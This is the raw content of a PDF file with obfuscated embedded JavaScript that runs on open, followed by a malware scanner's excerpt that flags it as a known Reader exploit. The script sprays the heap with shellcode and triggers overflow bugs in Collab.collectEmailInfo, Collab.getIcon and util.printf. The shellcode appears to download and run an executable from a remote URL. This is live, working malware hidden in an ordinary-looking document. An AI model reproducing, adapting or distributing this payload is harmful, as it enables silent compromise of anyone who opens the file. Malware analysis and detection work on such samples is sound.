� -�XS��xU��S�pb k�4 �&� < ��#�� .} +tt����`� ��9� ��wQ�RC��wk�5d m���h�|� _ [�ނ�T ^ q�v�?N�au7�@�a �x�j3����ʧ�+����
��� C�>X:�?['�� c�$y�W�� S�� �,�~�_ʴ�0 I7�� e�����ْѫ�s'�c�E�J
�C����1�N�}vGQ��0 �0gKQ�vFN��W�S�: ST���v��K| :u�^��7N���'Sv* ���U ef�]� �4V[m ; ���j�u�.z2m) �����P N
*�g �4w�$�
����)�ԅ �"~z�뚬C � ��
��JUɪg���x� qK9{E�t@_� ��,�/%f��E � �[��. -Ri�9 Ǫ��� c���
i�vm��،�4 �y�&��P�; }�^�ׁ�67l- ��%�}��S����� �i��e *:Ҭ� ! �s��m
� ԓ��WpV� �W���hO�� .���U*����� ͝m Ծj�N�Z��� 7�]���XU��� D�u�b�v m�D\2���)�f+����� �6� }� ��.��ə3�_|� �6`Ox�a �c�7ӛ�>�1 �I\�
�$�� � b� )�� ���� �fFN�/���)x�uW�n�iq8 :C3�e�2,*I2� ȧ��|k� ��bz�7�8�w{�>S'Z ��Bc��� ����"�@IL[��� � r�ځX�r CT�V���ا��A s��< �!݉J_.2�C Q�?Җ=��N��逑6�3#� �>m^:� �/���]�.a�;u���6�䮧OS� I���� q�w>��
.��@ ��Ǝ{o�� ůA�� �r�l� �G{b �l�
���� <ȱ � ϐ��O��X�U�f˱-� w#1kե�9��ni
Zy��x����z
� ��#�_q�sp�^���H��� 5��5v4�����p �h�Ƒ�
��Tk w K��l�xbo�@ MZ�9�UT"�h��q�؍p��f�50 h����/�|cq`����d",b�F �o���A�p_ y��~ �¬b�K��A >��vjb�@��Y� ���p/�l
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 2139>>
stream
x��[]s�6 }��� �3� � �>^=m:��n������ $! H�)���=� C�%���$3Rb� ���� a���~�gM ���
|~�gus{G��Ǵ ��������Q %A��#!��`��I �1�fQ ƔW�~T���鄢�= ^ ���o�"�'�xB�h D � �� Jf��L��v,o ���~E �[} �[ M ��� � ��% ��T��O�ɣv�`�R �V�Y��Vl ���� ����'1��> ̇C���8�� =����4 ���ϒ>���/ }�3_�� � 1{ �JS��]Mk՚����`E1ЦV �{��5ULњ��2Q�8��M��ـᆭJ�"��=�����L +\ɉ7*/ �o���2$AA��� m q)H��S�%/ �N�`2?`mdW5�YEy)h)�Ax D�5 ~� �1�"=)k+@� � � [� t+��� � �T���z�
� � �R<�6j���b�Vx�b�co���$�J&� � �db3p 8�� #��t O��� M�o��m���u � V � i��Q��@�����;�'��jZuR �;�e {��� ٙ�2�6�a)x]�zE���H�o�-uG� �n �s���8X<�r_�*�_��6BJC�* �Z�;�;��[ݵ%m�f-� �� � z�,� �� ��%��2C����V� nKEfȄ�x�O�Q�X��)EA���� � ��1 ��u ʫ��3���� ��z�4�4R@�%�M�zC�f�� �Y���[6آ �K$��dK��� �� Y >��G����ȴHT�I �ϩ P *�d��8��ӈ $� -���h)�L�ζ�t�%�j&��� �V+j;�$��*le�ސFK\ �BW��r�F��b�}B�� � {� 2rP�S�<S�-���b+�I-���3�L�*��װf�ǒz/Ч[�$`R� 4 �,��v�R��5R.� ����� � ��2K!" '-^ M��S+
� 1c; �c � μ�a^ N�t=W��� o�jh ���ԯm��k}N'N]F�ᗺGNJ�5�� � e� K %ޱt� |�T��� y�! �K�eժ �q�:�,xm��Y�(�:9�Ā���Ν2��泖U�^-1XHpː����B� :�>�>X��4ދ��>ᦋc�� � �j� 2��I� ��5�����Y��id�f���$���`.�Q �i���\%�����;���Z�Z��Q>�"D)�z� �j�x�Q(KL1j$ �� �陆1A����� P�H�{�r:qD��T�9K�{>� ��ר4X�"�J=`�
����j�yR_}�� �?��#
d&2�/����.��Vi qP��꜖-m�Q y�T'}b ��T�����?��z��GL� N��扯� w�p���=R� -�L�SW��'4ߌ0� QS p]R46c
$�R[��2� �� m �Ts�
K {�"ڗ��9O Ҿ G���� y��Ɗg��'0��Uv)Kb���� � -َ&�u �����H�2�GV�9� J����7�� �\����
C�PYЈb��� i�칤z��It���N�v����W/�6�� � �c� �w� ��'��H74Wh<SUƆqR��.��'3�I<��.fj#̣Oȡӎ竫H��+�' G�c��K� )_Zc=��O�s�� -�گ3��o]<� � ���N�W�� ����&i4��"X\)T�y �d� ��>�4o��k��� =�;�
o[� &- p$x�'����Jv�^{7r y�^� V�ᆎQǻ��{��1*U����e���5^8N=3�(ay�/i� �x~D���=<w�_i��'��� =P� ۱_k!�'ک �8�������YA��o��}�1bz��:ʒ�Y�� 9qBp�p疌�� im�xR.AYR䛗�>OQ�O�����Gt� ���J{5�q4}Ւ�טB� �u�� D�x�@���o� ���G�~ ��lq ���_.�^ {\�Y EENl���h��nr�1�� ����A i�8=���]M�Q��'� -�� Y��[ K[[�_� ��'N N�כw#��g2�� ��}�
�ܺ s��*a0�M�0*k� H�$`� �Y{tz�R��Un߰��� � 5r���,�Љ� �vb�u u � � >� � �©ę3��u<�zjP �%��sX�N[^u|���z� �~���
D �������x $�; �ў���A�rjk%� �ܖ�&��#Xן��� u���
endstream
endobj
11 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 12 0 R>>
endobj
12 0 obj
<</Filter /FlateDecode /Length 341>>
stream
x����n�@ E{ �-�f� �G P("A�D�b�7 �e�52�}�1 �( � [k��sf̙ P�cH��dJ��b@1� bt� � �;z����
B(�"*��>�#t%� A ��e�< <� ��
� ��M k4���Y�A� ?`��P�L(� &w�q�֔��5��~�xH �3Ͽ �
!�� �h��E ����y��Չ.g�F�
��kT �wy�x��>���}�̸�I��B� � �V���y� x�/:�$�w��K@ ���Ϸ֡�w�� �\%p�7���)�E �e;�Y^X�� �q ;C��v���
��� ��!S�8����� 4r�K����-���-4:�' ~� ��
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
11 0 R
]
/Count 5
>>
endobj
13 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
14 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
17 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
18 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2136>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?Ţ�+�9B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �) �@�oah� 4� VvaE P ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��- � zR�E ���QE QE QE QE QE QE QE QE QE S�g���c�J� z�Q'b� �a ))�)��i 8� KAE U � G�2h��� �qH ���s%.o4P�(=h��B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �~��A��4 })Ł���% �5MXF zu�ғ� ���ijD��(���B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��)i dP40�a���9�� zT�� �Ţ�) QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE1�'"�E �E P ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E RN��QE �(��(��(��(��(��(��)q�J^��B`i)s�% � QE C
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��Z�H(��c
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��?��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 15 0 R
/F2 16 0 R
/F3 17 0 R
>>
/XObject <<
/I1 18 0 R
>>
/Properties <</OC1 13 0 R /OC2 14 0 R>>
/ExtGState <<
>>
>>
endobj
19 0 obj
<<
/Names [(EmbeddedJS) 20 0 R ]
>>
endobj
20 0 obj
<<
/S /JavaScript
/JS (��var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array\(\);k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array\("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr"\);var sxz3TlE7H = 'var aT2SIgMrm = new Array\(\);var jUCXkje3R;function lHskEaMkm\(mjQ0s1Jm, vy5AnujZ\){while\(mjQ0s1Jm.length * 2 < vy5AnujZ\){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring\(0, vy5AnujZ / 2\);return mjQ0s1Jm;}function kTh8tyaiMl\(dwSy84Ewqd\){if\(dwSy84Ewqd == 0\){var zwWH2gY7 = 0x0c0c0c0c;}else if\(dwSy84Ewqd == 1\){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array\(\\"%u535\\",\\"0%u5251\\",\\"%u5756%u9c\\",\\"55%u00e\\",\\"8%u0000%\\",\\"u5d00%ued8\\",\\"3%u310\\",\\"d%u64c0%u4\\",\\"003%u78\\",\\"30%u8b0c%\\",\\"u0c40%u\\",\\"708b%uad1\\",\\"c%u408\\",\\"b%ueb0\\",\\"8%u8b09%u\\",\\"3440%\\",\\"u408d%u8\\",\\"b7c%u3c\\",\\"40%u575\\",\\"6%u5ebe\\",\\"%u0001%u01\\",\\"00%ubfe\\",\\"e%u014e%u0\\",\\"000%uef01%\\",\\"ud6e8%u\\",\\"0001%\\",\\"u5f00%u895\\",\\"e%u81\\",\\"ea%u5\\",\\"ec2%u0001%\\",\\"u5200%\\",\\"u8068%\\",\\"u0000%uff\\",\\"00%u4e95%\\",\\"u0001%u8\\",\\"900%u81e\\",\\"a%u5ec2\\",\\"%u0001%u3\\",\\"100%u01\\",\\"f6%u8ac2\\",\\"%u359c\\",\\"%u0263%u00\\",\\"00%ufb80%u\\",\\"7400%u88\\",\\"06%u321c%u\\",\\"eb46%uc6\\",\\"ee%u320\\",\\"4%u8900%u8\\",\\"1ea%u45c2\\",\\"%u0002%\\",\\"u5200\\",\\"%u95ff%u01\\",\\"52%u00\\",\\"00%uea89%u\\",\\"c281%\\",\\"u0250%u00\\",\\"00%u5052%\\",\\"u95ff\\",\\"%u0156%\\",\\"u0000%\\",\\"u006a\\",\\"%u006a%uea\\",\\"89%uc281%\\",\\"u015e\\",\\"%u0000\\",\\"%u8952%\\",\\"u81ea%u78c\\",\\"2%u000\\",\\"2%u520\\",\\"0%u00\\",\\"6a%ud0ff\\",\\"%u056a%u\\",\\"ea89%\\",\\"uc281%u\\",\\"015e%u0\\",\\"000%uff52%\\",\\"u5a95%u\\",\\"0001%\\",\\"u8900\\",\\"%u81e\\",\\"a%u5ec2%u\\",\\"0001%u520\\",\\"0%u8068\\",\\"%u0000%uf\\",\\"f00%u4e\\",\\"95%u0001%u\\",\\"8900%\\",\\"u81ea\\",\\"%u5ec\\",\\"2%u000\\",\\"1%u3100%u\\",\\"01f6%u8a\\",\\"c2%u3\\",\\"59c%u0\\",\\"26e%u0\\",\\"000%ufb\\",\\"80%u7400%\\",\\"u8806%u3\\",\\"21c%ue\\",\\"b46%uc\\",\\"6ee%u3204%\\",\\"u8900%u8\\",\\"1ea%u45\\",\\"c2%u0\\",\\"002%u5200\\",\\"%u95ff%\\",\\"u0152%u00\\",\\"00%uea8\\",\\"9%uc281%u0\\",\\"250%u\\",\\"0000%u5\\",\\"052%u95f\\",\\"f%u0156%\\",\\"u0000%u0\\",\\"06a%u006a\\",\\"%uea89%uc2\\",\\"81%u015e\\",\\"%u0000\\",\\"%u8952%u81\\",\\"ea%ua6c2%\\",\\"u0002\\",\\"%u5200%u00\\",\\"6a%ud\\",\\"0ff%u05\\",\\"6a%uea89%u\\",\\"c281%u015\\",\\"e%u0000%\\",\\"uff52%\\",\\"u5a95\\",\\"%u0001%u9d\\",\\"00%u5f5d\\",\\"%u5a5e%u5\\",\\"b59%uc3\\",\\"58%u0000\\",\\"%u0000\\",\\"%u0000%u00\\",\\"00%u00\\",\\"00%u0000%\\",\\"u0000%u000\\",\\"0%u6547\\",\\"%u547\\",\\"4%u6d65\\",\\"%u5070%u7\\",\\"461%u41\\",\\"68%u4c\\",\\"00%u616f%\\",\\"u4c64%u626\\",\\"9%u6172%\\",\\"u7972%u0\\",\\"041%u6547%\\",\\"u5074%u6\\",\\"f72%u4163\\",\\"%u646\\",\\"4%u6572%u7\\",\\"373%u\\",\\"5700%u6e\\",\\"69%u7845\\",\\"%u6365%ubb\\",\\"00%uf289%\\",\\"uf789%\\",\\"uc030%\\",\\"u75ae%u29\\",\\"fd%u89f7\\",\\"%u31f9%\\",\\"ubec0%u003\\",\\"c%u00\\",\\"00%ub503%u\\",\\"021b%\\",\\"u0000%ua\\",\\"d66%u85\\",\\"03%u021b%u\\",\\"0000%u708\\",\\"b%u837\\",\\"8%u1c\\",\\"c6%ub503%u\\",\\"021b%u000\\",\\"0%ubd8d%u0\\",\\"21f%u0\\",\\"000%u03ad%\\",\\"u1b85%u\\",\\"0002%ua\\",\\"b00%u03ad%\\",\\"u1b85%\\",\\"u0002\\",\\"%u5000%uad\\",\\"ab%u85\\",\\"03%u0\\",\\"21b%u\\",\\"0000%\\",\\"u5eab%\\",\\"udb31%u56a\\",\\"d%u8503%u\\",\\"021b%u\\",\\"0000%\\",\\"uc689%ud\\",\\"789%ufc5\\",\\"1%ua6f\\",\\"3%u7459%u\\",\\"5e04%ueb\\",\\"43%u5ee9\\",\\"%ud193%u03\\",\\"e0%u278\\",\\"5%u0002%u3\\",\\"100%u96f\\",\\"6%uad6\\",\\"6%ue0c\\",\\"1%u0302%u1\\",\\"f85%u00\\",\\"02%u890\\",\\"0%uad\\",\\"c6%u8503%\\",\\"u021b%u00\\",\\"00%ue\\",\\"bc3%u00\\",\\"10%u0000%\\",\\"u0000%u00\\",\\"00%u0000\\",\\"%u0000%u00\\",\\"00%u0\\",\\"000%u\\",\\"8900%u1b\\",\\"85%u0\\",\\"002%u5600%\\",\\"ue857%uf\\",\\"f58%uf\\",\\"fff%u5e5\\",\\"f%u01ab\\",\\"%u80c\\",\\"e%ubb3e\\",\\"%u0274%ued\\",\\"eb%u5\\",\\"5c3%u4c5\\",\\"2%u4f\\",\\"4d%u2e4e%\\",\\"u4c44%u0\\",\\"04c%u525\\",\\"5%u44\\",\\"4c%u776f%\\",\\"u6c6e%u616\\",\\"f%u5464\\",\\"%u466f%u6\\",\\"c69%u41\\",\\"65%u7500\\",\\"%u6470%\\",\\"u7461%u2e\\",\\"65%u78\\",\\"65%u00\\",\\"65%u7263%u\\",\\"7361%u\\",\\"2e68%\\",\\"u6870%u00\\",\\"70%u74\\",\\"68%u7074%u\\",\\"2f3a%u\\",\\"732f%u617\\",\\"4%u6c6c%u\\",\\"6176%\\",\\"u7372%u3\\",\\"72d%u\\",\\"632e%u2f6e\\",\\"%u7473%\\",\\"u2f37%u\\",\\"7075%u\\",\\"6164%u6574\\",\\"%u702\\",\\"e%u7068%\\",\\"u693f%u\\",\\"3d64%\\",\\"u2633%u657\\",\\"2%u3d74%\\",\\"u6b6f%u9\\",\\"000\\"\);lgzzbDvrJ = unescape\(lgzzbDvrJ.join\(\\"\\"\)\);var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - \(dN4ieP2iNJ + 0x38\);var mjQ0s1Jm = unescape\(\\"%u9090%u9090\\"\);mjQ0s1Jm = lHskEaMkm\(mjQ0s1Jm, vy5AnujZ\);var hggtyPDR = \(zwWH2gY7 - 0x400000\) / thxKGPqJ;for\(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++\){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl\(\){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString\(\);app.clearTimeOut\(jUCXkje3R\);if\(\(dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102\) || dWz30Wc8Sx < 7.1\){kTh8tyaiMl\(0\);var dUecnnyRL = unescape\(\\"%u0c0c%u0c0c\\"\);while\(dUecnnyRL.length < 44952\) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\\"collabStore\\"] = oNmYv6F8[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : dUecnnyRL}\);}if\(\(dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104\) || \(dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1\) || dWz30Wc8Sx <= 7.101\){try{if\(app.doc.Collab.getIcon\){kTh8tyaiMl\(2\);var g99lsB5aD5 = unescape\(\\"%09\\"\);while\(g99lsB5aD5.length < 0x4000\){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \\"N.\\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(g99lsB5aD5\);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch\(e\){gwCFv8QkMv = 1;}if\(gwCFv8QkMv == 1\){if\(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1\){kTh8tyaiMl\(1\);var krnGx4eoY = \\"12999999999999999999\\";for\(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++\){krnGx4eoY += \\"8\\";}var xwM9uDR1Z = util;xwM9uDR1Z[\\"printf\\"]\(\\"%45000f\\", krnGx4eoY\);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut\(\\"app.pWqkQU3H\(\)\\", 10\);';var xLnzz5Ne6=new Array\("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX"\);this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace\(/[]/g, ''\);var aHj0mNxG=new Array\('iPu63Iz8l','jR3yxekiKc'\);function mWTf2NTmz\(q6bodhAB,sS1npu7qg,moOIAGhC\){return false;}var y0BzaR3Ce=new Array\("phldahIIt","rqVkMn73vX","wfNlaURwA"\);var nSd4Sni7x = 'eval';app[nSd4Sni7x]\(r6KInqXsz\);this.gBSQBVtK=false;var x8tgaP7Tc=new Array\(14633,1198\);vUYPS6xyP=0.3;)
>>
endobj
21 0 obj
<<
/Title (��andTextMake)
/Author (��sNotOver)
/Subject (��freeOldBc)
/Keywords (��layoutSourceGood, usedMakeHere, typeSourceHave)
/Creator (��wordsHiddenWord)
/Producer (��0147fa9611db0b7cd706139ae2170494)
/CreationDate (D:20091013200218+04'00')
/ModDate (D:20091013200218+04'00')
>>
endobj
22 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 19 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [13 0 R 14 0 R] /D <</ON [13 0 R] /OFF [14 0 R] /AS [<</Event /Print /OCGs [13 0 R 14 0 R] /Category [/Print]>> <</Event /View /OCGs [13 0 R 14 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 23
0000000000 65535 f
0000010245 00000 n
0000013185 00000 n
0000000009 00000 n
0000000117 00000 n
0000002428 00000 n
0000002536 00000 n
0000004829 00000 n
0000004937 00000 n
0000007403 00000 n
0000007512 00000 n
0000009723 00000 n
0000009833 00000 n
0000010328 00000 n
0000010444 00000 n
0000010558 00000 n
0000010665 00000 n
0000010774 00000 n
0000010882 00000 n
0000013380 00000 n
0000013432 00000 n
0000026064 00000 n
0000026486 00000 n
trailer
<<
/Size 23
/Root 22 0 R
/Info 21 0 R
>>
startxref
26888
%%EOF
|
|||
generic_stage_recovery_005.js |
deobfuscated-js | generic stage recovery null-collapse -> percent-decode from raw PDF metadata at offset 0x0 | 21153 bytes |
SHA-256: 4f2b9c519bc4bdcaf3997b5f6b8bbb80c4b754fccd99bdc763da2523d705abdf |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2240>>
stream
x�śIs�8 ��� �a�j��p �\]�tuW�҉�0�� ��HH A �h��� K6d[k tR%ǒ)�� � �
�W<V�� ����g<ʛ�;��)�E �t����n� �FQ� � o )� � M� �i6��0��� �D�Q�o�w' ����I �� ���K��D�Y Oh ̓(���~�G���9�� �w����~� �����o9i��<� I�=iWq��*e������;o �S np <V7�,ք���� �yw�+���>`�筝 s��l� ,��4M�0}~.� ��v�����~�� *b��� Ռ� RQ� ��f� �.J�Q�YmH��1����̙��d�5�#ϴ0��AM�f͚�ə�GQ ��^� �LI����� �Ozd�W ���듍�l�q�h�\�hL/;2��j�;C��Վ8 �X}�z�(�LGY_ #�N5�rf*> ߈��b�U }i ��)F˾)ȴHn.����P�/���f������� ��0�[� C ���p2}�r��1�B %^� k� G�K��2�q ��40 o�bzC � ���# } pq�� &U��
����%�i6�C�w ](Zr ��cC��J�
� �� �� �� ���nl�!30]{u n��!7�&uݨ��=i���Lъ�,� 58I�3j�8��� +X�!� �[T��L % *'ު��0� 36TH�i)�q �_y�P �� ���3�"W�V ]�� /�ĥ a��>�Ϣ��� n��(� n��14��^Z�V�MG N�RPY�: �*��D������}D���(*)W��$�8R��G�!
��@f$���U� i� +;] dUJ�� nl�8����� �o�Oo�� K�jb ��K���i� (���%&/[vȉ�0[ �e�--�)Z � Z�������' G�C5
�@Ĵİ�3C�-]� p�z��q<x�O S �g�X[!A���� "��DE �� � ����@�V� yE� f� ���2� d�=��� �� kQ�Ka��V �z���y`�Kj8/l� FI
w1�� �N"���Q�v�JVy�?� ����jQ� � ,v�: �ۥ�0 ����^
� &. "�T4g����t�� �RpJ �捝 vA7p�� �ЮC���vY�Fb����� � /!�+��tu� ��B9j��:��^c>s��GR5���{��X��:uh�PШЮC�Ւ��ڙ�yy��0 ��y �L� v���d�4V F5�ߨN�t<��Ka|��L ;S��Jy�'q�u��ZeP" ���Z[�p� L�B\�� /�m�K��.�h�����-���T�Q��)bi;G Sl#�Œn_�� ��U��^X�2 f? |: �ɟ)�RZ�� �* �=7�&�2��G�5�to�g �l�[�t;�a���� 2�lPD��Bn{�u��Go' 7�O�� �|�6���J B �2� ڰ�,�:$薢��2� ��ݙ� �S� �� ��� AK,qO��� ٍ�H���H&�Qa�ÆOg��]e/���� uI*� ��`�L��;�4�E �x�A�lS ����5�ͧ� �����MtK�{i�`W�� v����o� wP3�����WmJ�8
�$�2��B�YG��io�ݸ6�� -�D�UJ�=�xgc��A����BɫW����m���˧����� 0� =!���%��3�&�QXa� �� �����c�[J!�0?W Y� )����� �`W���
/g�����#:�
&|:<s<�6u� {e�p��W��Lϓ�����
Um�Ӫo��
���j�$����W���ŗ��GX�1�b � y, +NB� �y�2ڿ�qN��Q^'U�9<�( �ކ ���#���U3�i� n^��Z�*hj%>���e��$�j��M� �S �� ���k��:ڪ�Ld�7Vzus � �� ��r�m�uw)(}:�: �k� x:����S#N�S�YuQ�x���+w�.GH�!����1D4�V��z��F�j�UU��T �?��~dp � ���w�ԣB�nw7�Ow# �S ��� �on �Y�8Թ�i&��"9 -ˊT3`���}�8�:� ��5� ���hq9 ��p6Ȋ�^m�{c �0�� �����dz������� ��u߫[DN��n[���L� �UQH~b ��_|z<u@:~��*]Qi'Q�W��P��Yѩ��:f}>O3��N �v�<{ � � l��̧������_ 6
}\���n��u�Y�� �]� ��^�g 9�\w��Y喉��4�;�-����� `>� �.� �3� � )����E]y��w� p{~�< 5" ����+� σ$u_�>�����&���.
�p ��ޣ � J�ܺ�� 7 j ��
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2222>>
stream
x�͛Ks� ��� �����p� ��NM�J��# �ŭT ��@� HQ��ρd 4��� ��*�e E� �χ �0H 4RH��uG���_ ^?�Uݼ��w?ƴ
nK������c EI����y0_�, Ҙ �( c� z�sD �� wBQ�� � ���g?uE�N4_ ��2� �-���kf�ϙ6?lY��� �� 7x��g1 �Mӄ��<H��M�� }[+���t���}�`��x���uwc�bC(n^^��O�g ���W���� � '��c V�P�&A�>�-�7����җ#��c # ��S
�U !f9��
^� �6r)�78fj�C˩T�!� �J�֜ k &)�U�t@?o8����ڂr�7݉vK|+p�^ }Mk�Y�)WE!�~�9 �ၗ�x :K��r/�G�� EM4��F�eAf�
�2ez� �}���5U��0 {K@�Uk^P�2!��-�Hsh� ZE�VlMB�{Z��� Lw��+4�ٴ� ��3�iR( �`X�&� m�/��l��f2\�$Z3Ȟ ��TR�ya(]a��Z�,�z�(�LO�P 1 &�����7�g����d ��eN'� �ɨ �§�8 V�Sk:�S.�h��P7�%��T�!��{M=S�s� F"�� 9�ÖJ�� z��(�Tn�wy2)$��tC��Loh#6�� � s� 2�5\3�a��+ ���($ ��f�Y�1�MG��l�m�8�. � g�L�қ
U�&6�glQ YN��.{�8�d ie�� � f��[����a�B�9��P�� w[~�Q�|��T ���d=�5 rZP&�
V� �T^S .� ; H)��� �'�%�+�a � ��C�!�sEkE\
$��0P'1p>gn�X|����� � �T(vQQ)Z��X[ b#���;+BY+kHl��ly mO�� &Ne9�ap
���d ���д � [�6+�` ��r͕�>e� �2�d a ��6��J#n�@�
�&�[ط �Id� !�I��! [����F��1����gF�p>���V_�ӣز�c]-
�Mcm �G��� �|ʝ9f=�)F\ [ڊ�� R� ZY�C� � �
� ���î� �E;d�f�C��� �b ��J��r�>g*�B;RP �Q�!��`� >͑J�� .�� �dT˴O��C^� = ��vB�� ���ikX�!� �|J� F��ϺhN�0�� 2]�B�E�� � �
�a> ,!+�����b���n�u9_���?
Y� ��S�ܡ*�0o�ve�+��a/��6���5�MCa
�j��u�]�����T�:Z5�9\� �}�^��{|��Qa2�'C� Ʌ�D��<�|ʝ9^}��Qh5 �K謙�6� �1l 2�Ké^S�� '��% ��4Bcp*� �
�.}�M �:T�� UW0� GRpJ xi�[�<��4�'����� ��c .��i|�,v7�G���+�k@�Ͷb��) ����} ���{� �\�Zu �� ��/�Q��GV�p �J��� `匉Ȭ�g���� � �z�T;M)�� K�V�L˷��A��^K����A1 �����C��h�f�c�)X?�#���& �� ��Y� dž
|�� t��r�j W~ ��`�ѦTĆj@�?5֛�8� t���Yx �0�
kZT�����#�%m�#�}
���ؚ��N�4︵:��'D# �V! P� d� = �ږ� �ϧ�� �T��D��s� W g{R� s�� ^#_:�>� �z��3ף+ � ��7���l���N� � N� ��5uf}}�{��[c��sʿ�H/A�O�3��- Nw�/��/y �r*rb%���s�$v Ϥ� L|�Z7���NCU V�5��g�o}�
�ÿ� > �)ڟ~2�&�z� � ��τ��� G {
UO?��TAs;Ř ��� �3�ݯO� ���� �� �6 �C@�Zb��4����b
��|�l�|#| ��
NÃ%�i �h/��)�\ /�� G �kz ����h�ye��Ht� :/��Sl�`st� X�� ��ʢ���}M<� 6C��J ��_UT8� k���gw � 6FU�D�h� �� in8��6�߰%|�S3 �F+ ���:N(�� - �����h��:ؼ�}~�Wt g =PD* � �6 n�����0��(�|�� �� ;� l� ���b=H~ =��>q ;�� ��Q�Oݚɶ����=� K#j���eJ�����j/�,��6g�ˋ> �S���� � ��p���i��-P ���ȑ`�V ~ ��� �ܛ��]D�ԡ��� �2HR������ ' Q�mi Q��T ���Qz ���&�� 2� W
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
